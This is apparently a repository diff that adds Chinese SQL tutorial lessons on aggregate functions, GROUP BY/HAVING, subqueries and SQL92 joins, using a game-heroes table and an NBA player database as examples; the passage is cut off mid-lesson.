<img src="https://static001.geekbang.org/resource/image/8c/c9/8c5e316b466e8fa65789a9c6a220ebc9.jpg" alt=""><br>
|
||||
讲完了SQL函数的使用,我们来做一道练习题。还是根据王者荣耀英雄数据表,请你使用SQL函数作如下的练习:计算英雄的最大生命平均值;显示出所有在2017年之前上线的英雄,如果英雄没有统计上线日期则不显示。
|
||||
|
||||
欢迎你在评论区与我分享你的答案,也欢迎点击”请朋友读“,把这篇文章分享给你的朋友或者同事。
|
||||
185
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/08丨什么是SQL的聚集函数,如何利用它们汇总表的数据?.md
Normal file
185
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/08丨什么是SQL的聚集函数,如何利用它们汇总表的数据?.md
Normal file
@@ -0,0 +1,185 @@
|
||||
<audio id="audio" title="08丨什么是SQL的聚集函数,如何利用它们汇总表的数据?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/35/09/3537c5286d494ac21a3ba0a1cc12a509.mp3"></audio>
|
||||
|
||||
我们上节课讲到了SQL函数,包括算术函数、字符串函数、日期函数和转换函数。实际上SQL函数还有一种,叫做聚集函数,它是对一组数据进行汇总的函数,输入的是一组数据的集合,输出的是单个值。通常我们可以利用聚集函数汇总表的数据,如果稍微复杂一些,我们还需要先对数据做筛选,然后再进行聚集,比如先按照某个条件进行分组,对分组条件进行筛选,然后得到筛选后的分组的汇总信息。
|
||||
|
||||
有关今天的内容,你重点需要掌握以下几个方面:
|
||||
|
||||
1. 聚集函数都有哪些,能否在一条SELECT语句中使用多个聚集函数;
|
||||
1. 如何对数据进行分组,并进行聚集统计;
|
||||
1. 如何使用HAVING过滤分组,HAVING和WHERE的区别是什么。
|
||||
|
||||
## 聚集函数都有哪些
|
||||
|
||||
SQL中的聚集函数一共包括5个,可以帮我们求某列的最大值、最小值和平均值等,它们分别是:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d1/15/d101026459ffa96504ba3ebb85054415.png" alt="">
|
||||
|
||||
这些函数你可能已经接触过,我们再来简单复习一遍。我们继续使用heros数据表,对王者荣耀的英雄数据进行聚合。
|
||||
|
||||
如果我们想要查询最大生命值大于6000的英雄数量。
|
||||
|
||||
```
|
||||
SQL:SELECT COUNT(*) FROM heros WHERE hp_max > 6000
|
||||
|
||||
```
|
||||
|
||||
运行结果为41。
|
||||
|
||||
如果想要查询最大生命值大于6000,且有次要定位的英雄数量,需要使用COUNT函数。
|
||||
|
||||
```
|
||||
SQL:SELECT COUNT(role_assist) FROM heros WHERE hp_max > 6000
|
||||
|
||||
```
|
||||
|
||||
运行结果是 23。
|
||||
|
||||
需要说明的是,有些英雄没有次要定位,即role_assist为NULL,这时`COUNT(role_assist)`会忽略值为NULL的数据行,而COUNT(*)只是统计数据行数,不管某个字段是否为NULL。
|
||||
|
||||
如果我们想要查询射手(主要定位或者次要定位是射手)的最大生命值的最大值是多少,需要使用MAX函数。
|
||||
|
||||
```
|
||||
SQL:SELECT MAX(hp_max) FROM heros WHERE role_main = '射手' or role_assist = '射手'
|
||||
|
||||
```
|
||||
|
||||
运行结果为6014。
|
||||
|
||||
你能看到,上面的例子里,都是在一条SELECT语句中使用了一次聚集函数,实际上我们也可以在一条SELECT语句中进行多项聚集函数的查询,比如我们想知道射手(主要定位或者次要定位是射手)的英雄数、平均最大生命值、法力最大值的最大值、攻击最大值的最小值,以及这些英雄总的防御最大值等汇总数据。
|
||||
|
||||
如果想要知道英雄的数量,我们使用的是COUNT(*)函数,求平均值、最大值、最小值,以及总的防御最大值,我们分别使用的是AVG、MAX、MIN和SUM函数。另外我们还需要对英雄的主要定位和次要定位进行筛选,使用的是`WHERE role_main = '射手' or role_assist = '射手'`。
|
||||
|
||||
```
|
||||
SQL: SELECT COUNT(*), AVG(hp_max), MAX(mp_max), MIN(attack_max), SUM(defense_max) FROM heros WHERE role_main = '射手' or role_assist = '射手'
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b9/9d/b9cbaa2af34e0b1eb74e76b60e7eaf9d.png" alt=""><br>
|
||||
需要说明的是AVG、MAX、MIN等聚集函数会自动忽略值为NULL的数据行,MAX和MIN函数也可以用于字符串类型数据的统计,如果是英文字母,则按照A—Z的顺序排列,越往后,数值越大。如果是汉字则按照全拼拼音进行排列。比如:
|
||||
|
||||
```
|
||||
SQL:SELECT MIN(CONVERT(name USING gbk)), MAX(CONVERT(name USING gbk)) FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e1/71/e1fa345ebcb78e686d3dd16cb075e871.png" alt=""><br>
|
||||
需要说明的是,我们需要先把name字段统一转化为gbk类型,使用`CONVERT(name USING gbk)`,然后再使用MIN和MAX取最小值和最大值。
|
||||
|
||||
我们也可以对数据行中不同的取值进行聚集,先用DISTINCT函数取不同的数据,然后再使用聚集函数。比如我们想要查询不同的生命最大值的英雄数量是多少。
|
||||
|
||||
```
|
||||
SQL: SELECT COUNT(DISTINCT hp_max) FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果为61。
|
||||
|
||||
实际上在heros这个数据表中,一共有69个英雄数量,生命最大值不一样的英雄数量是61个。
|
||||
|
||||
假如我们想要统计不同生命最大值英雄的平均生命最大值,保留小数点后两位。首先需要取不同生命最大值,即`DISTINCT hp_max`,然后针对它们取平均值,即`AVG(DISTINCT hp_max)`,最后再针对这个值保留小数点两位,也就是`ROUND(AVG(DISTINCT hp_max), 2)`。
|
||||
|
||||
```
|
||||
SQL: SELECT ROUND(AVG(DISTINCT hp_max), 2) FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果为6653.84。
|
||||
|
||||
你能看到,如果我们不使用DISTINCT函数,就是对全部数据进行聚集统计。如果使用了DISTINCT函数,就可以对数值不同的数据进行聚集。一般我们使用MAX和MIN函数统计数据行的时候,不需要再额外使用DISTINCT,因为使用DISTINCT和全部数据行进行最大值、最小值的统计结果是相等的。
|
||||
|
||||
## 如何对数据进行分组,并进行聚集统计
|
||||
|
||||
我们在做统计的时候,可能需要先对数据按照不同的数值进行分组,然后对这些分好的组进行聚集统计。对数据进行分组,需要使用GROUP BY子句。
|
||||
|
||||
比如我们想按照英雄的主要定位进行分组,并统计每组的英雄数量。
|
||||
|
||||
```
|
||||
SQL: SELECT COUNT(*), role_main FROM heros GROUP BY role_main
|
||||
|
||||
```
|
||||
|
||||
运行结果(6条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6b/9c/6ba58294f85edbb37499d3f28f60719c.png" alt="">
|
||||
|
||||
如果我们想要对英雄按照次要定位进行分组,并统计每组英雄的数量。
|
||||
|
||||
```
|
||||
SELECT COUNT(*), role_assist FROM heros GROUP BY role_assist
|
||||
|
||||
```
|
||||
|
||||
运行结果:(6条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/08/c0/0802ba993844e2875bd6cbbc3d4fa5c0.png" alt="">
|
||||
|
||||
你能看出如果字段为NULL,也会被列为一个分组。在这个查询统计中,次要定位为NULL,即只有一个主要定位的英雄是40个。
|
||||
|
||||
我们也可以使用多个字段进行分组,这就相当于把这些字段可能出现的所有的取值情况都进行分组。比如,我们想要按照英雄的主要定位、次要定位进行分组,查看这些英雄的数量,并按照这些分组的英雄数量从高到低进行排序。
|
||||
|
||||
```
|
||||
SELECT COUNT(*) as num, role_main, role_assist FROM heros GROUP BY role_main, role_assist ORDER BY num DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果:(19条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/35/8f/3504fa2cf288a50eb39028d1768d5c8f.png" alt="">
|
||||
|
||||
## 如何使用HAVING过滤分组,它与WHERE的区别是什么?
|
||||
|
||||
当我们创建出很多分组的时候,有时候就需要对分组进行过滤。你可能首先会想到WHERE子句,实际上过滤分组我们使用的是HAVING。HAVING的作用和WHERE一样,都是起到过滤的作用,只不过WHERE是用于数据行,而HAVING则作用于分组。
|
||||
|
||||
比如我们想要按照英雄的主要定位、次要定位进行分组,并且筛选分组中英雄数量大于5的组,最后按照分组中的英雄数量从高到低进行排序。
|
||||
|
||||
首先我们需要获取的是英雄的数量、主要定位和次要定位,即`SELECT COUNT(*) as num, role_main, role_assist`。然后按照英雄的主要定位和次要定位进行分组,即`GROUP BY role_main, role_assist`,同时我们要对分组中的英雄数量进行筛选,选择大于5的分组,即`HAVING num > 5`,然后按照英雄数量从高到低进行排序,即`ORDER BY num DESC`。
|
||||
|
||||
```
|
||||
SQL: SELECT COUNT(*) as num, role_main, role_assist FROM heros GROUP BY role_main, role_assist HAVING num > 5 ORDER BY num DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果:(4条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ca/61/ca9747ad58e8cf637fe352fb0cfd5761.png" alt=""><br>
|
||||
你能看到还是上面这个分组,只不过我们按照数量进行了过滤,筛选了数量大于5的分组进行输出。如果把HAVING替换成了WHERE,SQL则会报错。对于分组的筛选,我们一定要用HAVING,而不是WHERE。另外你需要知道的是,HAVING支持所有WHERE的操作,因此所有需要WHERE子句实现的功能,你都可以使用HAVING对分组进行筛选。
|
||||
|
||||
我们再来看个例子,通过这个例子查看一下WHERE和HAVING进行条件过滤的区别。筛选最大生命值大于6000的英雄,按照主要定位、次要定位进行分组,并且显示分组中英雄数量大于5的分组,按照数量从高到低进行排序。
|
||||
|
||||
```
|
||||
SQL: SELECT COUNT(*) as num, role_main, role_assist FROM heros WHERE hp_max > 6000 GROUP BY role_main, role_assist HAVING num > 5 ORDER BY num DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果:(2条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7b/3a/7b62b2a12ec9e66675b3da8b5b54093a.png" alt="">
|
||||
|
||||
你能看到,还是针对上一个例子的查询,只是我们先增加了一个过滤条件,即筛选最大生命值大于6000的英雄。这里我们就需要先使用WHERE子句对最大生命值大于6000的英雄进行条件过滤,然后再使用GROUP BY进行分组,使用HAVING进行分组的条件判断,然后使用ORDER BY进行排序。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我对SQL的聚集函数进行了讲解。通常我们还会对数据先进行分组,然后再使用聚集函数统计不同组的数据概况,比如数据行数、平均值、最大值、最小值以及求和等。我们也可以使用HAVING对分组进行过滤,然后通过ORDER BY按照某个字段的顺序进行排序输出。有时候你能看到在一条SELECT语句中,可能会包括多个子句,用WHERE进行数据量的过滤,用GROUP BY进行分组,用HAVING进行分组过滤,用ORDER BY进行排序……
|
||||
|
||||
**你要记住,在SELECT查询中,关键字的顺序是不能颠倒的,它们的顺序是:**
|
||||
|
||||
```
|
||||
SELECT ... FROM ... WHERE ... GROUP BY ... HAVING ... ORDER BY ...
|
||||
|
||||
```
|
||||
|
||||
另外需要注意的是,使用GROUP BY进行分组,如果想让输出的结果有序,可以在GROUP BY后使用ORDER BY。因为GROUP BY只起到了分组的作用,排序还是需要通过ORDER BY来完成。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3a/de/3aa2b0626f5cfc64b4a7175de938d1de.png" alt=""><br>
|
||||
我今天对SQL的聚集函数以及SQL查询中的关键字顺序进行了讲解,但你还是需要通过训练加深理解,基于heros数据表,请你写出下面2个SQL查询语句:
|
||||
|
||||
1. 筛选最大生命值大于6000的英雄,按照主要定位进行分组,选择分组英雄数量大于5的分组,按照分组英雄数从高到低进行排序,并显示每个分组的英雄数量、主要定位和平均最大生命值。
|
||||
1. 筛选最大生命值与最大法力值之和大于7000的英雄,按照攻击范围来进行分组,显示分组的英雄数量,以及分组英雄的最大生命值与法力值之和的平均值、最大值和最小值,并按照分组英雄数从高到低进行排序,其中聚集函数的结果包括小数点后两位。
|
||||
|
||||
欢迎你在评论区与我分享你的答案,如果你觉得这篇文章有帮助,欢迎把它分享给你的朋友或者同事,一起切磋交流一下。
|
||||
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
<audio id="audio" title="09丨子查询:子查询的种类都有哪些,如何提高子查询的性能?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/2a/2b/2a6fb6c44af8f0e99035a09672c0232b.mp3"></audio>
|
||||
|
||||
上节课我讲到了聚集函数,以及如何对数据进行分组统计,可以说我们之前讲的内容都是围绕单个表的SELECT查询展开的,实际上SQL还允许我们进行子查询,也就是嵌套在查询中的查询。这样做的好处是可以让我们进行更复杂的查询,同时更加容易理解查询的过程。因为很多时候,我们无法直接从数据表中得到查询结果,需要从查询结果集中再次进行查询,才能得到想要的结果。这个“查询结果集”就是今天我们要讲的子查询。
|
||||
|
||||
通过今天的文章,我希望你可以掌握以下的内容:
|
||||
|
||||
1. 子查询可以分为关联子查询和非关联子查询。我会举一个NBA数据库查询的例子,告诉你什么是关联子查询,什么是非关联子查询;
|
||||
1. 子查询中有一些关键词,可以方便我们对子查询的结果进行比较。比如存在性检测子查询,也就是EXISTS子查询,以及集合比较子查询,其中集合比较子查询关键词有IN、SOME、 ANY和ALL,这些关键词在子查询中的作用是什么;
|
||||
1. 子查询也可以作为主查询的列,我们如何使用子查询作为计算字段出现在SELECT查询中呢?
|
||||
|
||||
## 什么是关联子查询,什么是非关联子查询
|
||||
|
||||
子查询虽然是一种嵌套查询的形式,不过我们依然可以依据子查询是否执行多次,从而将子查询划分为关联子查询和非关联子查询。
|
||||
|
||||
子查询从数据表中查询了数据结果,如果这个数据结果只执行一次,然后这个数据结果作为主查询的条件进行执行,那么这样的子查询叫做非关联子查询。
|
||||
|
||||
同样,如果子查询需要执行多次,即采用循环的方式,先从外部查询开始,每次都传入子查询进行查询,然后再将结果反馈给外部,这种嵌套的执行方式就称为关联子查询。
|
||||
|
||||
单说概念有点抽象,我们用数据表举例说明一下。这里我创建了NBA球员数据库,SQL文件你可以从[GitHub](https://github.com/cystanford/sql_nba_data)上下载。
|
||||
|
||||
文件中一共包括了5张表,player表为球员表,team为球队表,team_score为球队比赛表,player_score为球员比赛成绩表,height_grades为球员身高对应的等级表。
|
||||
|
||||
其中player表,也就是球员表,一共有37个球员,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ba/ef/ba91ef95f95bca52a83682a4310918ef.png" alt=""><br>
|
||||
team表为球队表,一共有3支球队,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a6/e9/a65d5b04d416bf35f1ea16da5f05cee9.png" alt="">
|
||||
|
||||
team_score表为球队比赛成绩表,一共记录了两场比赛的成绩,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/11/93/1156804730d29e0c1367fbf31002d693.png" alt=""><br>
|
||||
player_score表为球员比赛成绩表,记录了一场比赛中球员的表现。这张表一共包括19个字段,代表的含义如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/af/3a/afc5c950c6fdf9b9c399748bf340843a.png" alt=""><br>
|
||||
其中shoot_attempts代表总出手的次数,它等于二分球出手和三分球出手次数的总和。比如2019年4月1日,韦恩·艾灵顿在底特律活塞和印第安纳步行者的比赛中,总出手次数为19,总命中10,三分球13投4中,罚球4罚2中,因此总分score=(10-4)×2+4×3+2=26,也就是二分球得分12+三分球得分12+罚球得分2=26。
|
||||
|
||||
需要说明的是,通常在工作中,数据表的字段比较多,一开始创建的时候会知道每个字段的定义,过了一段时间再回过头来看,对当初的定义就不那么确定了,容易混淆字段,解决这一问题最好的方式就是做个说明文档,用实例举例。
|
||||
|
||||
比如shoot_attempts是总出手次数(这里的总出手次数=二分球出手次数+三分球出手次数,不包括罚球的次数),用上面提到的韦恩·艾灵顿的例子做补充说明,再回过头来看这张表的时候,就可以很容易理解每个字段的定义了。
|
||||
|
||||
我们以NBA球员数据表为例,假设我们想要知道哪个球员的身高最高,最高身高是多少,就可以采用子查询的方式:
|
||||
|
||||
```
|
||||
SQL: SELECT player_name, height FROM player WHERE height = (SELECT max(height) FROM player)
|
||||
|
||||
```
|
||||
|
||||
运行结果:(1条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/13/b2/133c583fe0317081d13ae99ec17123b2.png" alt=""><br>
|
||||
你能看到,通过`SELECT max(height) FROM player`可以得到最高身高这个数值,结果为2.16,然后我们再通过player这个表,看谁具有这个身高,再进行输出,这样的子查询就是非关联子查询。
|
||||
|
||||
如果子查询的执行依赖于外部查询,通常情况下都是因为子查询中的表用到了外部的表,并进行了条件关联,因此每执行一次外部查询,子查询都要重新计算一次,这样的子查询就称之为关联子查询。比如我们想要查找每个球队中大于平均身高的球员有哪些,并显示他们的球员姓名、身高以及所在球队ID。
|
||||
|
||||
首先我们需要统计球队的平均身高,即`SELECT avg(height) FROM player AS b WHERE a.team_id = b.team_id`,然后筛选身高大于这个数值的球员姓名、身高和球队ID,即:
|
||||
|
||||
```
|
||||
SELECT player_name, height, team_id FROM player AS a WHERE height > (SELECT avg(height) FROM player AS b WHERE a.team_id = b.team_id)
|
||||
|
||||
```
|
||||
|
||||
运行结果:(18条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a5/ac/a53fc11e20a44453176bea25d3e789ac.png" alt="">
|
||||
|
||||
这里我们将player表复制成了表a和表b,每次计算的时候,需要将表a中的team_id传入从句,作为已知值。因为每次表a中的team_id可能是不同的,所以是关联子查询。如果是非关联子查询,那么从句计算的结果是固定的才可以。
|
||||
|
||||
## EXISTS子查询
|
||||
|
||||
关联子查询通常也会和EXISTS一起来使用,EXISTS子查询用来判断条件是否满足,满足的话为True,不满足为False。
|
||||
|
||||
比如我们想要看出场过的球员都有哪些,并且显示他们的姓名、球员ID和球队ID。在这个统计中,是否出场是通过player_score这张表中的球员出场表现来统计的,如果某个球员在player_score中有出场记录则代表他出场过,这里就使用到了EXISTS子查询,即`EXISTS (SELECT player_id FROM player_score WHERE player.player_id = player_score.player_id)`,然后将它作为筛选的条件,实际上也是关联子查询,即:
|
||||
|
||||
```
|
||||
SQL:SELECT player_id, team_id, player_name FROM player WHERE EXISTS (SELECT player_id FROM player_score WHERE player.player_id = player_score.player_id)
|
||||
|
||||
```
|
||||
|
||||
运行结果:(19条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a6/d3/a6a447a53b9cc158db5f4ffb905aaed3.png" alt=""><br>
|
||||
同样,NOT EXISTS就是不存在的意思,我们也可以通过NOT EXISTS查询不存在于player_score表中的球员信息,比如主表中的player_id不在子表player_score中,判断语句为`NOT EXISTS (SELECT player_id FROM player_score WHERE player.player_id = player_score.player_id)`。整体的SQL语句为:
|
||||
|
||||
```
|
||||
SQL: SELECT player_id, team_id, player_name FROM player WHERE NOT EXISTS (SELECT player_id FROM player_score WHERE player.player_id = player_score.player_id)
|
||||
|
||||
```
|
||||
|
||||
运行结果:(18条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fb/e0/fb0a34e0144a6c0ba9a48d1da4dfade0.png" alt="">
|
||||
|
||||
## 集合比较子查询
|
||||
|
||||
集合比较子查询的作用是与另一个查询结果集进行比较,我们可以在子查询中使用IN、ANY、ALL和SOME操作符,它们的含义和英文意义一样:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d3/2c/d3867c22616cbdf88ed83865604e8e2c.png" alt="">
|
||||
|
||||
还是通过上面那个例子,假设我们想要看出场过的球员都有哪些,可以采用IN子查询来进行操作:
|
||||
|
||||
```
|
||||
SELECT player_id, team_id, player_name FROM player WHERE player_id in (SELECT player_id FROM player_score WHERE player.player_id = player_score.player_id)
|
||||
|
||||
```
|
||||
|
||||
你会发现运行结果和上面的是一样的,那么问题来了,既然IN和EXISTS都可以得到相同的结果,那么我们该使用IN还是EXISTS呢?
|
||||
|
||||
我们可以把这个模式抽象为:
|
||||
|
||||
```
|
||||
SELECT * FROM A WHERE cc IN (SELECT cc FROM B)
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
SELECT * FROM A WHERE EXIST (SELECT cc FROM B WHERE B.cc=A.cc)
|
||||
|
||||
```
|
||||
|
||||
实际上在查询过程中,在我们对cc列建立索引的情况下,我们还需要判断表A和表B的大小。在这里例子当中,表A指的是player表,表B指的是player_score表。如果表A比表B大,那么IN子查询的效率要比EXIST子查询效率高,因为这时B表中如果对cc列进行了索引,那么IN子查询的效率就会比较高。
|
||||
|
||||
同样,如果表A比表B小,那么使用EXISTS子查询效率会更高,因为我们可以使用到A表中对cc列的索引,而不用从B中进行cc列的查询。
|
||||
|
||||
了解了IN查询后,我们来看下ANY和ALL子查询。刚才讲到了ANY和ALL都需要使用比较符,比较符包括了(>)(=)(<)(>=)(<=)和(<>)等。
|
||||
|
||||
如果我们想要查询球员表中,比印第安纳步行者(对应的team_id为1002)中任意一个球员身高高的球员信息,并且输出他们的球员ID、球员姓名和球员身高,该怎么写呢?首先我们需要找出所有印第安纳步行者队中的球员身高,即`SELECT height FROM player WHERE team_id = 1002`,然后使用ANY子查询即:
|
||||
|
||||
```
|
||||
SQL: SELECT player_id, player_name, height FROM player WHERE height > ANY (SELECT height FROM player WHERE team_id = 1002)
|
||||
|
||||
```
|
||||
|
||||
运行结果:(35条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/45/da/4547b4671d2727eb5075e0c050eac4da.png" alt=""><br>
|
||||
运行结果为35条,你发现有2个人的身高是不如印第安纳步行者的所有球员的。
|
||||
|
||||
同样,如果我们想要知道比印第安纳步行者(对应的team_id为1002)中所有球员身高都高的球员的信息,并且输出球员ID、球员姓名和球员身高,该怎么写呢?
|
||||
|
||||
```
|
||||
SQL: SELECT player_id, player_name, height FROM player WHERE height > ALL (SELECT height FROM player WHERE team_id = 1002)
|
||||
|
||||
```
|
||||
|
||||
运行结果:(1条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b9/b5/b910c7a40a8cfbde7d47409afe5171b5.png" alt=""><br>
|
||||
我们能看到比印第安纳步行者所有球员都高的球员,在player这张表(一共37个球员)中只有索恩·马克。
|
||||
|
||||
需要强调的是ANY、ALL关键字必须与一个比较操作符一起使用。因为如果你不使用比较操作符,就起不到集合比较的作用,那么使用ANY和ALL就没有任何意义。
|
||||
|
||||
## 将子查询作为计算字段
|
||||
|
||||
我刚才讲了子查询的几种用法,实际上子查询也可以作为主查询的计算字段。比如我想查询每个球队的球员数,也就是对应team这张表,我需要查询相同的team_id在player这张表中所有的球员数量是多少。
|
||||
|
||||
```
|
||||
SQL: SELECT team_name, (SELECT count(*) FROM player WHERE player.team_id = team.team_id) AS player_num FROM team
|
||||
|
||||
```
|
||||
|
||||
运行结果:(3条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b3/ae/b39cee43eb0545592e54c5ce533cd8ae.png" alt=""><br>
|
||||
你能看到,在player表中只有底特律活塞和印第安纳步行者的球员数据,所以它们的player_num不为0,而亚特兰大老鹰的player_num等于0。在查询的时候,我将子查询`SELECT count(*) FROM player WHERE player.team_id = team.team_id`作为了计算字段,通常我们需要给这个计算字段起一个别名,这里我用的是player_num,因为子查询的语句比较长,使用别名更容易理解。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我讲解了子查询的使用,按照子查询执行的次数,我们可以将子查询分成关联子查询和非关联子查询,其中非关联子查询与主查询的执行无关,只需要执行一次即可,而关联子查询,则需要将主查询的字段值传入子查询中进行关联查询。
|
||||
|
||||
同时,在子查询中你可能会使用到EXISTS、IN、ANY、ALL和SOME等关键字。在某些情况下使用EXISTS和IN可以得到相同的效果,具体使用哪个执行效率更高,则需要看字段的索引情况以及表A和表B哪个表更大。同样,IN、ANY、ALL、SOME这些关键字是用于集合比较的,SOME是ANY的别名,当我们使用ANY或ALL的时候,一定要使用比较操作符。
|
||||
|
||||
最后,我讲解了如何使用子查询作为计算字段,把子查询的结果作为主查询的列。
|
||||
|
||||
SQL中,子查询的使用大大增强了SELECT查询的能力,因为很多时候查询需要从结果集中获取数据,或者需要从同一个表中先计算得出一个数据结果,然后与这个数据结果(可能是某个标量,也可能是某个集合)进行比较。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/67/48/67dffabba0619fa4d311929c5d1c0f48.png" alt=""><br>
|
||||
我今天讲解了子查询的使用,其中讲到了EXISTS和IN子查询效率的比较,当查询字段进行了索引时,主表A大于从表B,使用IN子查询效率更高,相反主表A小于从表B时,使用EXISTS子查询效率更高,同样,如果使用NOT IN子查询和NOT EXISTS子查询,在什么情况下,哪个效率更高呢?
|
||||
|
||||
最后请你使用子查询,编写SQL语句,得到场均得分大于20的球员。场均得分从player_score表中获取,同时你需要输出球员的ID、球员姓名以及所在球队的ID信息。
|
||||
|
||||
欢迎在评论区写下你的思考,也欢迎点击请朋友读把这篇文章分享给你的朋友或者同事。
|
||||
@@ -0,0 +1,196 @@
|
||||
<audio id="audio" title="10丨常用的SQL标准有哪些,在SQL92中是如何使用连接的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/3e/20/3ed9950803e443beffc8820d8369ac20.mp3"></audio>
|
||||
|
||||
今天我主要讲解连接表的操作。在讲解之前,我想先给你介绍下连接(JOIN)在SQL中的重要性。
|
||||
|
||||
我们知道SQL的英文全称叫做Structured Query Language,它有一个很强大的功能,就是能在各个数据表之间进行连接查询(Query)。这是因为SQL是建立在关系型数据库基础上的一种语言。关系型数据库的典型数据结构就是数据表,这些数据表的组成都是结构化的(Structured)。你可以把关系模型理解成一个二维表格模型,这个二维表格是由行(row)和列(column)组成的。每一个行(row)就是一条数据,每一列(column)就是数据在某一维度的属性。
|
||||
|
||||
正是因为在数据库中,表的组成是基于关系模型的,所以一个表就是一个关系。一个数据库中可以包括多个表,也就是存在多种数据之间的关系。而我们之所以能使用SQL语言对各个数据表进行复杂查询,核心就在于连接,它可以用一条SELECT语句在多张表之间进行查询。你也可以理解为,关系型数据库的核心之一就是连接。
|
||||
|
||||
既然连接在SQL中这么重要,那么针对今天的内容,需要你从以下几个方面进行掌握:
|
||||
|
||||
1. SQL实际上存在不同的标准,不同标准下的连接定义也有不同。你首先需要了解常用的SQL标准有哪些;
|
||||
1. 了解了SQL的标准之后,我们从SQL92标准入门,来看下连接表的种类有哪些;
|
||||
1. 针对一个实际的数据库表,如果你想要做数据统计,需要学会使用跨表的连接进行操作。
|
||||
|
||||
## 常用的SQL标准有哪些
|
||||
|
||||
在正式开始讲连接表的种类时,我们首先需要知道SQL存在不同版本的标准规范,因为不同规范下的表连接操作是有区别的。
|
||||
|
||||
SQL有两个主要的标准,分别是SQL92和SQL99。92和99代表了标准提出的时间,SQL92就是92年提出的标准规范。当然除了SQL92和SQL99以外,还存在SQL-86、SQL-89、SQL:2003、SQL:2008、SQL:2011和SQL:2016等其他的标准。
|
||||
|
||||
这么多标准,到底该学习哪个呢?实际上最重要的SQL标准就是SQL92和SQL99。一般来说SQL92的形式更简单,但是写的SQL语句会比较长,可读性较差。而SQL99相比于SQL92来说,语法更加复杂,但可读性更强。我们从这两个标准发布的页数也能看出,SQL92的标准有500页,而SQL99标准超过了1000页。实际上你不用担心要学习这么多内容,基本上从SQL99之后,很少有人能掌握所有内容,因为确实太多了。就好比我们使用Windows、Linux和Office的时候,很少有人能掌握全部内容一样。我们只需要掌握一些核心的功能,满足日常工作的需求即可。
|
||||
|
||||
## 在SQL92中是如何使用连接的
|
||||
|
||||
相比于SQL99,SQL92规则更简单,更适合入门。在这篇文章中,我会先讲SQL92是如何对连接表进行操作的,下一篇文章再讲SQL99,到时候你可以对比下这两者之间有什么区别。
|
||||
|
||||
在进行连接之前,我们需要用数据表做举例。这里我创建了NBA球员和球队两张表,SQL文件你可以从[GitHub](https://github.com/cystanford/sql_nba_data)上下载。
|
||||
|
||||
其中player表为球员表,一共有37个球员,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e3/1b/e327a3eeeb7a7195a7ae0703ebd8e51b.png" alt=""><br>
|
||||
team表为球队表,一共有3支球队,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b5/39/b5228a60a4ccffa5b2848fe82d575239.png" alt=""><br>
|
||||
有了这两个数据表之后,我们再来看下SQL92中的5种连接方式,它们分别是笛卡尔积、等值连接、非等值连接、外连接(左连接、右连接)和自连接。
|
||||
|
||||
### 笛卡尔积
|
||||
|
||||
笛卡尔乘积是一个数学运算。假设我有两个集合X和Y,那么X和Y的笛卡尔积就是X和Y的所有可能组合,也就是第一个对象来自于X,第二个对象来自于Y的所有可能。
|
||||
|
||||
我们假定player表的数据是集合X,先进行SQL查询:
|
||||
|
||||
```
|
||||
SELECT * FROM player
|
||||
|
||||
```
|
||||
|
||||
再假定team表的数据为集合Y,同样需要进行SQL查询:
|
||||
|
||||
```
|
||||
SELECT * FROM team
|
||||
|
||||
```
|
||||
|
||||
你会看到运行结果会显示出上面的两张表格。
|
||||
|
||||
接着我们再来看下两张表的笛卡尔积的结果,这是笛卡尔积的调用方式:
|
||||
|
||||
```
|
||||
SQL: SELECT * FROM player, team
|
||||
|
||||
```
|
||||
|
||||
运行结果(一共37*3=111条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2e/37/2e66048cba86811a740a85f68d81c537.png" alt=""><br>
|
||||
笛卡尔积也称为交叉连接,英文是CROSS JOIN,它的作用就是可以把任意表进行连接,即使这两张表不相关。但我们通常进行连接还是需要筛选的,因此你需要在连接后面加上WHERE子句,也就是作为过滤条件对连接数据进行筛选。比如后面要讲到的等值连接。
|
||||
|
||||
### 等值连接
|
||||
|
||||
两张表的等值连接就是用两张表中都存在的列进行连接。我们也可以对多张表进行等值连接。
|
||||
|
||||
针对player表和team表都存在team_id这一列,我们可以用等值连接进行查询。
|
||||
|
||||
```
|
||||
